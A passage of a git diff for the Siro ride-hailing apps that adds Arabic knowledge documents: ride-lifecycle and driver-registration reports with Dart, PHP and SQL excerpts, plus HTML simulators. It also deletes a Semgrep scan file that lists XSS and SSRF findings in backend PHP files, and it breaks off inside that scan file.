+|--------|---------------|---------| +| حذف `driver_route_solid` | ✅ يُحذف | ✅ | +| حذف `passenger_walk_line` | ✅ يُحذف | ✅ | +| رسم `main_route` | خط أزرق من نقطة الالتقاط للوجهة | ✅ | +| Car Marker | عند نقطة الالتقاط | ✅ | +| Firebase Notification | "السائق وصل!" | ✅ | +| Timer 5 دقائق | `startTimerDriverWaitPassenger5Minute()` | ✅ | + +**الكود المقابل:** +```dart +// في processDriverArrival(): +await calculateDriverToPassengerRoute( + driverCarsLocationToPassengerAfterApplied.last, + myDestination, + isBeginPhase: true, // ← مهم جداً +); +``` + +--- + +### 6️⃣ `inProgress` — الرحلة بدأت + +> [!IMPORTANT] +> **`isBeginPhase: true`** يجعل الخط أزرق بدلاً من أصفر + +| العنصر | السلوك المتوقع | النتيجة | +|--------|---------------|---------| +| مسح الخطوط القديمة | `driver_route*`, `main_route`, `route_direct` | ✅ | +| رسم `main_route` | خط أزرق `#2196F3` من السائق/الراكب للوجهة | ✅ | +| Car Marker | عند نقطة الانطلاق (أزرق) | ✅ | +| `rideIsBeginPassengerTimer()` | عداد الرحلة يعمل | ✅ | +| `runWhenRideIsBegin()` | polling كل 4 ثوانٍ | ✅ | + +**الكود المقابل:** +```dart +// في processRideBegin(): +polyLines = polyLines.where((p) => + p.polylineId.value != 'main_route' && + p.polylineId.value != 'route_direct' && + !p.polylineId.value.startsWith('driver_route') +).toSet(); + +await calculateDriverToPassengerRoute(driverPos, myDestination, + isBeginPhase: true); // ← يرسم خط أزرق للوجهة +``` + +--- + +### 7️⃣ السيارة تسير — En Route +| العنصر | السلوك المتوقع | النتيجة | +|--------|---------------|---------| +| `main_route` يتقلص | يُقص من الأمام مع تحرك السيارة | ✅ | +| Car Marker | يتحرك على المسار الأزرق | ✅ | +| ETA يتحدث | مسافة ووقت يتقلصان | ✅ | +| Progress Bar | يمتلئ تدريجياً | ✅ | + +--- + +### 8️⃣ `finished` — انتهت الرحلة +| العنصر | السلوك المتوقع | النتيجة | +|--------|---------------|---------| +| `mapEngine.clearPolyline()` | مسح جميع الخطوط | ✅ | +| `markers = {}` | مسح جميع الـ Markers | ✅ | +| `disposeRideSocket()` | إغلاق WebSocket | ✅ | +| `stopAllTimers()` | إيقاف كل التايمرات | ✅ | +| Rating Screen | فتح `RatingDriverBottomSheet` | ✅ | + +--- + +## ⚠️ ملاحظات مهمة من تحليل الكود + +### 1. الخط المنقط `_updatePassengerWalkLine()` + +```dart +// يعمل فقط في حالتي Apply و Arrived +bool shouldShowWalkPath = + (statusRide == 'Apply' || statusRide == 'Arrived') && + _currentDriverRoutePoints.isNotEmpty && + passengerLocation.latitude != 0; +``` + +> [!NOTE] +> يُرسم الخط المنقط من **آخر نقطة على الطريق** (`_currentDriverRoutePoints.last`) وليس من موقع السائق. هذا صحيح تماماً لأنه يمثل المسافة المشي من الطريق للراكب. + +### 2. انحراف السائق `checkAndRecalculateIfDeviated()` + +```dart +final bool distanceDeviation = minDistance > _deviationThresholdMeters; // 30م +if (distanceDeviation || _routeHeadingMismatchCount >= 2) { + await calculateDriverToPassengerRoute(...); // إعادة الرسم +} +``` + +> [!TIP] +> الإعادة التلقائية تعمل عند انحراف أكثر من **30 متراً** أو عند اختلاف الاتجاه مرتين متتاليتين. + +### 3. آلية Socket + Polling الهجينة + +``` +Socket متصل + يُرسل موقع < 20 ثانية → نعتمد على Socket فقط +Socket صامت 15-30 ثانية → نستدعي API مرة واحدة +Socket صامت > 30 ثانية → نبدأ polling كل 6 ثوانٍ +Socket يعود → نوقف polling +``` + +### 4. مشكلة محتملة في `updateRemainingRoute()` + +```dart +// في حالة Begin، الكود يحذف أي driver_route ولا يرسم شيئاً جديداً +if (statusRide == 'Begin' || currentRideState.value == RideState.inProgress) { + polyLines = polyLines + .where((p) => !p.polylineId.value.startsWith('driver_route')) + .toSet(); + // ← لا يرسم main_route هنا! +} +``` + +> [!WARNING] +> **ملاحظة:** `updateRemainingRoute()` في حالة `inProgress` يحذف `driver_route*` لكنه **لا يُحدِّث** `main_route`. المسار الأزرق يُرسم مرة واحدة في `processRideBegin()` ويُقص فقط عبر هذه الدالة. تأكد من أن `main_route` لا يُحذف خطأً في هذه الدالة. + +--- + +## ✅ خلاصة نتائج المحاكاة + +| المرحلة | رسم الخطوط | حركة الـ Marker | التزامن | التحقق | +|---------|-----------|----------------|---------|--------| +| noRide | — | سيارات قريبة | Master Timer | ✅ | +| searching | Trip preview (فاتح) | A + B | Socket init | ✅ | +| driverApplied | أصفر + منقط | سيارة + A + B | Socket / Polling | ✅ | +| driverMoving | أصفر يتقلص + منقط يتحدث | سيارة تتحرك | Real-time | ✅ | +| driverArrived | **أزرق جديد** (مسح القديم) | سيارة عند A | Firebase | ✅ | +| inProgress | أزرق كامل | سيارة أزرق | Socket / Polling | ✅ | +| enRoute | أزرق يتقلص | سيارة تتحرك | Real-time | ✅ | +| finished | **مسح الكل** | لا شيء | — | ✅ | + +--- + +## 🗂️ الملفات المرجعية + +- [ride_lifecycle_controller.dart](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_rider/lib/controller/home/map/ride_lifecycle_controller.dart) — المنطق الرئيسي +- [map_socket_controller.dart](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_rider/lib/controller/home/map/map_socket_controller.dart) — إدارة WebSocket +- [map_screen_binding.dart](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_rider/lib/controller/home/map/map_screen_binding.dart) — تسجيل الـ Controllers +- [siro_ride_simulation.html](file:///Users/hamzaaleghwairyeen/.gemini/antigravity-ide/brain/3690cabc-80e2-4e43-af35-66c30922ddee/siro_ride_simulation.html) — ملف المحاكاة التفاعلية + diff --git a/knowledge/siro_driver_registration_simulation.html b/knowledge/siro_driver_registration_simulation.html new file mode 100644 index 0000000..248eadc --- /dev/null +++ b/knowledge/siro_driver_registration_simulation.html @@ -0,0 +1,1056 @@ + + + + + +Siro — محاكاة تسجيل السائق (سوريا) + + + + + + +
+
+ +
+

Siro Driver — محاكاة تسجيل السائق 🇸🇾 سوريا

+

OTP • Document Upload • AI Gemini • DB Encryption • CarRegistration + driver tables

+
+
+
+ + + 1.5× +
+
+ +
+ + +
+
خطوات التسجيل
+
+
+ + +
+
+
+
+
+
+
+
+ + +
+ +
+ + +
+
+

مرحباً بك في سيرو 🚗

+

ابدأ رحلتك معنا كسائق محترف

+
+
+
+
🇸🇾
+
تسجيل سائق — سوريا
+
+ سيتم التحقق من رقم هاتفك أولاً
ثم رفع وثائقك للمراجعة +
+
+
+
+ JWT Bearer + HMAC Auth + AES Encrypt + Rate Limit + Gemini AI +
+
+
+ + +
+
+

رقم الهاتف

+

أدخل رقمك السوري للتحقق

+
+
+
+ + +
+
+ 📌 Phone Formatting Logic:
+ 09xxxxxxx9639xxxxxxx
+ 00963xxxxxxx963xxxxxxx +
+ +
+
+ + +
+
+

رمز التحقق

+

تم الإرسال عبر Intaleq WhatsApp

+
+
+
+ أدخل الرمز المرسل لـ +963944xxx +
+
+
_
+
_
+
_
+
+
+ ⏱️ عداد إعادة الإرسال: 120 ثانية +
+
+
POST /auth/otp/request.php
+
📱 country: Syria → Intaleq WhatsApp
+
🔁 Failover: Nabeh JWT → SMS
+
⏱️ صلاحية: 5 دقائق
+
🔒 OTP مشفر في DB (AES-GCM)
+
+ +
+
+ + +
+
+

المعلومات الشخصية

+

الخطوة 1 من 3

+
+
+
+
+
+
+
+
+
+
+
+
+ +
+
+ + +
+
+

معلومات المركبة

+

الخطوة 2 من 3

+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ +
+
+ + +
+
+

الوثائق المطلوبة

+

الخطوة 3 من 3 — سوريا

+
+
+
+
+
🪪
+
هوية — وجه
+
+
+
🪪
+
هوية — خلف
+
+
+
📋
+
رخصة القيادة — وجه
+
+
+
📋
+
رخصة القيادة — خلف
🇸🇾 إلزامي
+
+
+
🤳
+
صورة شخصية
+
+
+
📄
+
لا حكم عليه
+
+
+
🚗
+
ترخيص المركبة — وجه
+
+
+
🚗
+
ترخيص المركبة — خلف
+
+
+ +
+
+ + +
+
+

🤖 معالجة الذكاء الاصطناعي

+

Gemini Flash — تحليل الوثائق

+
+
+
+
+
Gemini يحلل الوثائق ويطابق الوجه...
+
+
+
+ +
+
+ + +
+
+

قيد المراجعة ⏳

+

خدمة العملاء تراجع وثائقك

+
+
+
+
+
+

الحساب قيد المراجعة

+

status = "yet" في جدول driver

+
+
+
+ ✅ تم رفع وثائقك بنجاح
+ 📬 تم إشعار فريق خدمة العملاء
+ 🔔 FCM إلى موضوع "service"
+ ⏱️ المراجعة تستغرق 24-48 ساعة +
+
+
📊 driver.status: yet
+
📊 CarRegistration.status: yet
+
📊 driver_documents: 8 records ✓
+
+
+
+ + +
+
+

🎉 تم التفعيل!

+

خدمة العملاء فعّلت حسابك

+
+
+
+
+
+ مرحباً محمد الأحمد! +
+
حسابك مفعّل وجاهز للعمل
+
+
+
driver.status: active
+
CarRegistration.status: active
+
🔔 FCM إشعار للسائق: "تم تفعيل حسابك"
+
🔑 JWT Token صادر + تخزين في driverToken
+
+ +
+
+ +
+
+
+ + +
+ + + +
+
+ + +
+
تحليل تقني
+ +
+
المرحلة
0/8
+
OTP Status
+
وثائق مرفوعة
0/8
+
AI Gemini
+
+ +
+
تدفق API
+
+ +
+
سجل الطلبات
+
+ +
+
قاعدة البيانات — schema_primary
+
+
+ +
+ +
+ + + + diff --git a/knowledge/siro_driver_ride_simulation.html b/knowledge/siro_driver_ride_simulation.html new file mode 100644 index 0000000..9015674 --- /dev/null +++ b/knowledge/siro_driver_ride_simulation.html @@ -0,0 +1,2268 @@ + + + + + + Siro Driver - Ride Lifecycle Simulator + + + + + + + + + +
+
+
SIRO
+
Captain Ride Simulator
+
+
+
+
+ MapLibre Engine: Active +
+
+ + Optimized Mode +
+
+
+ + +
+ + +
+ + +
+
+ + Simulation Overrides +
+

Alter driver variables to trigger penalties, fatigue checks, or same-device warnings.

+ +
+ Restrict Points (-201 Points) + +
+ +
+ Exceed Fatigue (12h limit) + +
+ +
+ Cancellation Limit Block (3x) + +
+
+ + +
+
+ + Lifecycle Controls +
+

Simulate backend and device lifecycle events during different ride stages.

+ + + + + + + + +
+ + +
+
+ + System Optimization Status +
+
+
+
+ GPS Stream Pull Rate + Centralized (1 Stream) +
+
+
+
+ Camera Follow Interval + Throttled (8s / 15m) +
+
+
+
+ GPS Jitter Noise Filter + Active (> 3 meters) +
+
+
+
+ +
+ + +
+ + +
+
+ + +
+
+
+
+ + +
+
+
+
+
+
+
+
+ + + + + +
+ + + +
+
Damascus Driver (You)
+
+ +
+
+ + + + + + + + +
+
+ +
+
+ Drive straight on Al-Jalaa St + 500 m +
+
+ +
+ + +
+
+
+ + +
+ 01:31 +
+ + +
+
+ + +
+ + +
+
+
C
+
+

Capt. Hamza

+ 180 Points +
+
+
+ Today's Cash +

0 S.P

+
+
+ + +
+
+
+ + COMFORT REQUEST +
+
+ + + + +
15
+
+
+ +
+
+ Passenger: + Mahmoud K. (★ 4.9) +
+
+ Pickup Distance: + 2.1 km away +
+
+ Trip Length: + 12.5 km +
+
+ Est. Price: + 28,000 S.P. +
+
+ + +
+ + +
+ + +
+
+ + You are Offline +
+
+
+
+ +
+ SWIPE GO ONLINE +
+
+ + +
+
+ +
+
Looking for Rides...
+
Damascus demand heatmap sync active
+
+ + +
+
+ + +
+
+ RIDE LIFECYCLE +
+
+ Heading to Pickup +
+
+ +
+
+
M
+
+
Mahmoud K.
+
+ + 4.9 +
+
+
+
+
+ +
+
+ +
+
+
+ +
+
+ Pickup Dist + 2.1 km +
+
+ Est. Time + 5 min +
+
+ + + + + + +
+ + +
+ +

Ride Completed Successfully!

+

Please rate passenger Mahmoud K.

+
+ + + + + +
+ +
+ +
+ +
+
+ + +
+
+ + Real-time Execution Log +
+
+
System initialized. Driver is Offline.
+
+
+
+ +
+ +
+ + +
+
+
+
Blocked
+
You have exceeded the cancellation limit.
+ +
+
+ + + + diff --git a/knowledge/siro_ride_simulation.html b/knowledge/siro_ride_simulation.html new file mode 100644 index 0000000..b62c0cd --- /dev/null +++ b/knowledge/siro_ride_simulation.html @@ -0,0 +1,1204 @@ + + + + + + Siro Rider – محاكاة دورة حياة الرحلة + + + + + + + +
+
+
S
+
+

Siro Rider — محاكاة دورة حياة الرحلة

+

Ride Lifecycle Simulation • polyline / marker / route drawing verification

+
+
+
+ + + 1.5× +
+
+ + +
+ + +
+
مراحل دورة الرحلة
+
+
+ + +
+ + + +
+
الحالة الحالية
+
noRide
+
+
المسافة للسائق
+
+
الوقت المتبقي
+
+
+ + +
+
دليل الخطوط
+
+
+ خط الرحلة الأصلي (أزرق فاتح) +
+
+
+ مسار السائق للراكب (أصفر – Apply) +
+
+
+ خط الرحلة الفعلية (أزرق – Begin) +
+
+
+ خط المشي المنقط للراكب +
+
+ + +
+ + + +
+
+ + +
+
سجل الأحداث
+ +
+
+
مرحلة
+
0/6
+
+
+
Polylines
+
0
+
+
+
Markers
+
0
+
+
+
Socket
+
+
+
+ +
+
+ تقدم الرحلة + 0% +
+
+
+ +
+
+
+
+ + +
+ + + + diff --git a/knowledge/syria_driver_registration_report.md b/knowledge/syria_driver_registration_report.md new file mode 100644 index 0000000..089f156 --- /dev/null +++ b/knowledge/syria_driver_registration_report.md @@ -0,0 +1,352 @@ + +# تقرير نظام تسجيل السائق — سوريا 🇸🇾 + +> **ملف المحاكاة التفاعلية:** [siro_driver_registration_simulation.html](file:///Users/hamzaaleghwairyeen/.gemini/antigravity-ide/brain/3690cabc-80e2-4e43-af35-66c30922ddee/siro_driver_registration_simulation.html) + +--- + +## 🗺️ خريطة النظام الكاملة + +```mermaid +flowchart TD + A[📱 السائق يفتح التطبيق] --> B[RegisterCaptainController
إدخال رقم الهاتف] + B --> C{التحقق من الدولة} + C -->|🇸🇾 سوريا| D[Phone Formatting
09xx → 963xx] + D --> E[POST /auth/otp/request.php
country: Syria] + E --> F{OTP Router} + F -->|Primary| G[Intaleq WhatsApp] + F -->|Failover 1| H[Nabeh JWT] + F -->|Failover 2| I[SMS] + G --> J[DB: phone_verification
AES-GCM encrypted × 5min] + J --> K[OtpVerificationController
countdown 120s] + K --> L[POST /auth/otp/verify.php] + L --> M{✅ صحيح؟} + M -->|نعم| N[RegistrationController
3-Step Wizard] + M -->|لا| K + N --> O[Step 1: Driver Info
الاسم + HID + DOB + License] + O --> P[Step 2: Car Info
Plate + Make + Model + VIN] + P --> Q[Step 3: Doc Upload × 8] + Q --> R[uploadToSyria × 8
MultipartRequest + JWT] + R --> S[uploadSyrianDocs.php
private_uploads Signed URL 48h] + S --> T[submitRegistration
POST /register_driver_and_car.php] + T --> U[🤖 Gemini Flash
Vision AI Analysis] + U --> V{AI Face Match} + V -->|✅ high| W[DB Transaction
driver + CarRegistration] + V -->|❌ mismatch| X[jsonError - رفض] + W --> Y[FCM → topic:service
Admin Notification] + Y --> Z[status: yet ⏳] + Z --> AA[Admin Review] + AA --> AB[status: active ✅] + AB --> AC[JWT + driverToken
السائق جاهز للعمل] +``` + +--- + +## 📱 مراحل التسجيل (8 خطوات) + +### 1️⃣ إدخال رقم الهاتف — `RegisterCaptainController` + +**منطق تنسيق الرقم السوري:** + +```php +// من: register_driver_and_car.php +if (strpos($phone, '00963') === 0) { + $phone = substr($phone, 2); // 00963 → 963 +} elseif (strpos($phone, '09') === 0) { + $phone = '963' . substr($phone, 1); // 09xx → 9639xx +} elseif (strpos($phone, '9') === 0 && strlen($phone) == 9) { + $phone = '963' . $phone; // 9xxxxxxxx → 9639xxxxxxxx +} +// التأكد من وجود 9 بعد 963 +if (strpos($phone, '963') === 0 && strpos($phone, '9639') !== 0) { + $phone = '9639' . substr($phone, 3); +} +``` + +--- + +### 2️⃣ نظام OTP — `OtpVerificationController` + +| الدولة | المزود الأساسي | Failover 1 | Failover 2 | +|--------|---------------|-----------|-----------| +| 🇸🇾 سوريا | Intaleq WhatsApp | Nabeh JWT | SMS | +| 🇪🇬 مصر | Kazumi SMS | Intaleq WhatsApp | Nabeh JWT | +| 🇯🇴 الأردن | Intaleq SMS | Nabeh JWT | — | + +**مخطط DB:** + +```sql +-- جدول التحقق للسائق +INSERT INTO phone_verification ( + phone_number, -- مشفر AES-GCM + driverId, + email, -- مشفر AES-GCM + token_code, -- مشفر AES-GCM (3 أرقام) + expiration_time, -- NOW() + 5 دقائق + is_verified -- 0 → 1 عند النجاح +) +``` + +> [!NOTE] +> Rate Limiting: 3 محاولات كل 5 دقائق لكل IP عبر Redis + +--- + +### 3️⃣ معلومات السائق — `RegistrationController` Page 0 + +**الحقول المطلوبة:** +- `first_name`, `last_name`, `national_number`, `birthdate`, `expiry_date` +- التحقق عبر `driverInfoFormKey.validate()` + +**ملاحظة تاريخ الميلاد:** +```php +// من register_driver_and_car.php +$data['birthdate'] = trim($data['birthdate']) . '-01-01'; +// "1990" → "1990-01-01" +``` + +--- + +### 4️⃣ معلومات المركبة — `RegistrationController` Page 1 + +**الحقول الجديدة (vehicle_category_id + fuel_type_id):** + +| ID | نوع المركبة | ID | نوع الوقود | +|---|------------|---|-----------| +| 1 | سيارة (Car) | 1 | بنزين (Petrol) | +| 2 | دراجة نارية | 2 | ديزل (Diesel) | +| 3 | فان / باص | 3 | كهربائي | +| — | — | 4 | هايبرد | + +```dart +// Flutter → submitRegistration() +_addField(fields, 'vehicle_category_id', selectedVehicleCategoryId.toString()); +_addField(fields, 'fuel_type_id', selectedFuelTypeId.toString()); +_addField(fields, 'fuel', fuelObj['name'].toString()); // للتوافق +``` + +--- + +### 5️⃣ رفع الوثائق — `uploadToSyria()` × 8 + +**الوثائق المطلوبة لسوريا:** + +| المستند | الحقل | إلزامي سوريا؟ | +|---------|-------|--------------| +| هوية — وجه | `id_front` | ✅ | +| هوية — خلف | `id_back` | ✅ | +| رخصة القيادة — وجه | `driver_license` | ✅ | +| رخصة القيادة — خلف | `driver_license_back` | **🇸🇾 إلزامي فقط!** | +| صورة شخصية | `profile_picture` | ✅ | +| لا حكم عليه | `criminal_record` | ✅ | +| ترخيص سيارة — وجه | `car_license_front` | ✅ | +| ترخيص سيارة — خلف | `car_license_back` | ✅ | + +**آلية الرفع:** + +```dart +// Flutter: uploadToSyria() +final req = http.MultipartRequest('POST', syrianUploadUri); +req.headers.addAll({ + 'Authorization': 'Bearer JWT', + 'X-HMAC-Auth': hmacHeader, +}); +req.fields['driver_id'] = driverId; +req.fields['doc_type'] = docType; // e.g., 'driver_license_back' +// timeout: 120 ثانية — 3 محاولات تلقائية +``` + +**Backend — الرد (Signed URL):** + +```json +{ + "status": "success", + "file_url": "https://api-syria.siromove.com/siro/secure_image.php?driver_id=DRV...&doc_type=id_front&ext=jpg&expires=1720000000&signature=sha256...", + "mime_type": "image/jpeg", + "size_bytes": 98340, + "expires_at": "2024-06-21T..." +} +``` + +> [!IMPORTANT] +> الملفات تُحفظ في `private_uploads/` (خارج الويب العام) ولا يمكن الوصول إليها إلا عبر رابط موقّع صالح لمدة **48 ساعة**. + +--- + +### 6️⃣ الذكاء الاصطناعي Gemini Flash — Vision AI + +**البرومبت الكامل يطلب:** + +```json +{ + "status": "success|failure", + "reason": "إذا فشل", + "face_match_confidence": "high|low", + "driver": { + "full_name": "", // الاسم الكامل بالعربي + "national_number": "", // أرقام لاتينية فقط + "dob": "YYYY-MM-DD", + "governorate": "", + "license_expiry_date": "YYYY-MM-DD", + "license_category": "B|D1|..." + }, + "car": { + "car_plate": "", // e.g., "155186 درعا" + "vin": "", // أحرف وأرقام لاتينية + "color": "", + "color_hex": "#FFFFFF", + "make": "", "model": "", "year": "" + } +} +``` + +**قواعد الذكاء الاصطناعي الحرجة:** +1. **FACE MATCHING**: مقارنة الصورة الشخصية ↔ الهوية ↔ رخصة القيادة +2. **OCR ذكي**: المسح من كلا وجهي كل وثيقة +3. تحويل الأرقام العربية (٠١٢) إلى لاتينية (012) +4. تطبيع ألوان السيارات `أبيض → White → #FFFFFF` +5. الفشل الكلي فقط عند: وجه غير متطابق / وثائق مزورة + +> [!WARNING] +> **SSRF Protection**: URLs يُسمح بها فقط من `allowedHosts` — يُمنع تحميل أي صورة من مصادر خارجية. + +--- + +### 7️⃣ إدراج قاعدة البيانات — Transaction Atomique + +**الحقول المشفرة في جدول `driver`:** + +```php +$toEncryptDriver = [ + "phone", "email", "first_name", "last_name", + "name_arabic", "gender", "national_number", + "address", "site", "fullNameMaritial", "birthdate" +]; +// كلها تُشفَّر بـ AES-GCM قبل الإدراج +``` + +**كلمة المرور (HMAC + bcrypt):** + +```php +$baseString = implode('|', [$data['id'], $data['phone'], $data['national_number']]); +$rawSecret = hash_hmac('sha256', $baseString, $pepper, true); +$pwdHashed = password_hash($rawSecret, PASSWORD_DEFAULT); +``` + +--- + +### 8️⃣ جداول قاعدة البيانات (`schema_primary.sql`) + +**`CarRegistration` — الجدول الرئيسي للمركبات:** + +```sql +CREATE TABLE `CarRegistration` ( + `id` int AUTO_INCREMENT PRIMARY KEY, + `driverID` varchar(100) NOT NULL, -- FK → driver.id + `vin` varchar(100) NOT NULL, -- مشفر + `car_plate` varchar(150), -- مشفر + `make` varchar(255) NOT NULL, + `model` varchar(255) NOT NULL, + `year` int NOT NULL, + `expiration_date` varchar(30) NOT NULL, + `color` varchar(255) NOT NULL, + `owner` varchar(255) NOT NULL, -- مشفر + `color_hex` varchar(20) NOT NULL, + `fuel` varchar(100) NOT NULL, + `vehicle_category_id` tinyint DEFAULT 1, -- 1=Car,2=Moto,3=Van + `fuel_type_id` tinyint DEFAULT 1, -- 1=Petrol,2=Diesel... + `status` varchar(20) DEFAULT 'yet', -- yet|active|suspended + `isDefault` tinyint DEFAULT 0, + KEY `idx_driverID` (`driverID`) +) +``` + +**`driver` — الجدول الرئيسي للسائقين:** + +```sql +CREATE TABLE `driver` ( + `id` varchar(100) NOT NULL, -- DRV{timestamp}{random} + `phone` varchar(255) NOT NULL, -- مشفر AES-GCM + `email` varchar(255) NOT NULL, + `password` varchar(255) NOT NULL, -- bcrypt(HMAC) + `first_name` varchar(255) NOT NULL, -- مشفر + `last_name` varchar(255) NOT NULL, -- مشفر + `national_number` varchar(255), -- مشفر (UNIQUE) + `name_arabic` varchar(255), -- مشفر — من AI + `birthdate` varchar(255), -- مشفر + `status` varchar(20) DEFAULT 'notDeleted', -- yet|active|notDeleted + `expiry_date` date, -- انتهاء رخصة القيادة + UNIQUE KEY `national_number` (`national_number`) +) +``` + +**`driver_documents`:** + +```sql +CREATE TABLE `driver_documents` ( + `id` int AUTO_INCREMENT PRIMARY KEY, + `driverID` varchar(64) NOT NULL, + `doc_type` varchar(64) NOT NULL, -- id_front, driver_license_back, ... + `image_name` varchar(255) NOT NULL, + `link` varchar(512) NOT NULL, -- Signed URL + `upload_date` datetime NOT NULL, + KEY `driverID` (`driverID`) +) +``` + +--- + +## 🔒 طبقات الأمان + +| الطبقة | التقنية | التفاصيل | +|--------|---------|---------| +| Authentication | JWT Bearer | يُعاد التوليد عند كل دخول | +| Transport | HMAC-SHA256 | X-HMAC-Auth header | +| Encryption at Rest | AES-GCM | جميع البيانات الحساسة | +| Password | HMAC + bcrypt | pepper من env | +| Rate Limiting | Redis | 3 OTP / 5 دقائق لكل IP | +| File Access | Signed URLs | HMAC-SHA256 صالح 48 ساعة | +| SSRF Protection | Allowlist hosts | منع URL injection في AI | +| SQL Injection | PDO Prepared Statements | كل الاستعلامات | +| File Upload | MIME detection + finfo | ليس Content-Type فقط | + +--- + +## ✅ النتيجة: هل النظام يعمل صح؟ + +| العملية | السلوك | التقييم | +|---------|--------|---------| +| تنسيق الهاتف السوري | `09xx` → `9639xx` تلقائياً | ✅ | +| OTP سوريا | Intaleq WhatsApp → Nabeh Failover | ✅ | +| خلف رخصة القيادة | إلزامي فقط لـ `countryCode == Syria` | ✅ | +| رفع الوثائق | Retry × 3 + Timeout 120s | ✅ | +| AI Face Match | Gemini Flash Vision — تحقق ذكي | ✅ | +| AI يعيد كتابة البيانات | اسم، DOB، لوحة، VIN من الوثائق | ✅ | +| Transaction | Atomic: driver + CarRegistration + documents | ✅ | +| تشفير الحقول | phone, name, national_number → AES-GCM | ✅ | +| `vehicle_category_id` و `fuel_type_id` | يُرسلان من Flutter ويُخزنان في CarRegistration | ✅ | +| إشعار خدمة العملاء | FCM → topic:service بعد التسجيل | ✅ | +| Signed URL | صالح 48 ساعة + HMAC signed | ✅ | + +> [!CAUTION] +> **ملاحظة:** حقل `vin` في `submitRegistration()` يُرسل كـ `'yet'` افتراضياً ولا يُرسل من حقل `carVinController`: +> ```dart +> _addField(fields, 'vin', 'yet'); // ← يجب ربطه بـ carVinController.text +> ``` +> AI سيُصحح هذا من خلال استخراج VIN من صورة ترخيص السيارة، لكن إذا لم يعمل AI فسيُخزن 'yet'. + +--- + +## 📁 الملفات المرجعية + +| الملف | الدور | +|-------|-------| +| [registration_controller.dart](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_driver/lib/controller/auth/syria/registration_controller.dart) | Controller رئيسي — رفع الوثائق + تقديم التسجيل | +| [register_captin_controller.dart](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_driver/lib/controller/auth/captin/register_captin_controller.dart) | تسجيل مبدئي + OTP | +| [opt_token_controller.dart](file:///Users/hamzaaleghwairyeen/development/App/Siro/siro_driver/lib/controller/auth/captin/opt_token_controller.dart) | إدارة OTP (120 ثانية countdown) | +| [register_driver_and_car.php](file:///Users/hamzaaleghwairyeen/development/App/Siro/backend/auth/syria/driver/register_driver_and_car.php) | Backend — Gemini AI + DB Transaction | +| [uploadSyrianDocs.php](file:///Users/hamzaaleghwairyeen/development/App/Siro/backend/auth/syria/uploadSyrianDocs.php) | Backend — رفع الوثائق + Signed URL | +| [request.php](file:///Users/hamzaaleghwairyeen/development/App/Siro/backend/auth/otp/request.php) | Backend — إرسال OTP حسب الدولة | +| [verify.php](file:///Users/hamzaaleghwairyeen/development/App/Siro/backend/auth/otp/verify.php) | Backend — التحقق من OTP | +| [schema_primary.sql](file:///Users/hamzaaleghwairyeen/development/App/Siro/backend/schema_primary.sql) | DB Schema — driver + CarRegistration + driver_documents | + diff --git a/semgrep_deep_php.json b/semgrep_deep_php.json deleted file mode 100644 index 871cb18..0000000 --- a/semgrep_deep_php.json +++ /dev/null @@ -1 +0,0 @@ -{"version":"1.166.0","results":[{"check_id":"php.lang.security.injection.echoed-request.echoed-request","path":"backend/Admin/debug/ggg.php","start":{"line":67,"col":5,"offset":2058},"end":{"line":71,"col":8,"offset":2182},"extra":{"message":"`Echo`ing user input risks cross-site scripting vulnerability. You should use `htmlentities()` when showing data to users.","fix":"echo htmlentities(json_encode([\n 'status' => 'success',\n 'action' => $action,\n 'result' => (string) $result,\n ]));","metadata":{"technology":["php"],"cwe":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"],"owasp":["A07:2017 - Cross-Site Scripting (XSS)","A03:2021 - Injection","A05:2025 - Injection"],"category":"security","references":["https://www.php.net/manual/en/function.htmlentities.php","https://www.php.net/manual/en/reserved.variables.request.php","https://www.php.net/manual/en/reserved.variables.post.php","https://www.php.net/manual/en/reserved.variables.get.php","https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"],"cwe2022-top25":true,"cwe2021-top25":true,"subcategory":["vuln"],"likelihood":"MEDIUM","impact":"MEDIUM","confidence":"MEDIUM","license":"Semgrep Rules License v1.0. For more details, visit semgrep.dev/legal/rules-license","vulnerability_class":["Cross-Site-Scripting (XSS)"],"source":"https://semgrep.dev/r/php.lang.security.injection.echoed-request.echoed-request","shortlink":"https://sg.run/Bqqb"},"severity":"ERROR","fingerprint":"requires login","lines":"requires login","validation_state":"NO_VALIDATOR","engine_kind":"OSS"}},{"check_id":"php.lang.security.injection.echoed-request.echoed-request","path":"backend/ggg.php","start":{"line":67,"col":5,"offset":2058},"end":{"line":71,"col":8,"offset":2182},"extra":{"message":"`Echo`ing user input risks cross-site scripting vulnerability. You should use `htmlentities()` when showing data to users.","fix":"echo htmlentities(json_encode([\n 'status' => 'success',\n 'action' => $action,\n 'result' => (string) $result,\n ]));","metadata":{"technology":["php"],"cwe":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"],"owasp":["A07:2017 - Cross-Site Scripting (XSS)","A03:2021 - Injection","A05:2025 - Injection"],"category":"security","references":["https://www.php.net/manual/en/function.htmlentities.php","https://www.php.net/manual/en/reserved.variables.request.php","https://www.php.net/manual/en/reserved.variables.post.php","https://www.php.net/manual/en/reserved.variables.get.php","https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"],"cwe2022-top25":true,"cwe2021-top25":true,"subcategory":["vuln"],"likelihood":"MEDIUM","impact":"MEDIUM","confidence":"MEDIUM","license":"Semgrep Rules License v1.0. For more details, visit semgrep.dev/legal/rules-license","vulnerability_class":["Cross-Site-Scripting (XSS)"],"source":"https://semgrep.dev/r/php.lang.security.injection.echoed-request.echoed-request","shortlink":"https://sg.run/Bqqb"},"severity":"ERROR","fingerprint":"requires login","lines":"requires login","validation_state":"NO_VALIDATOR","engine_kind":"OSS"}},{"check_id":"php.lang.security.injection.tainted-filename.tainted-filename","path":"siromove.com/invite.php","start":{"line":43,"col":43,"offset":1488},"end":{"line":43,"col":73,"offset":1518},"extra":{"message":"File name based on user input risks server-side request forgery.","metadata":{"technology":["php"],"category":"security","cwe":["CWE-918: Server-Side Request Forgery (SSRF)"],"owasp":["A10:2021 - Server-Side Request Forgery (SSRF)","A01:2025 - Broken Access 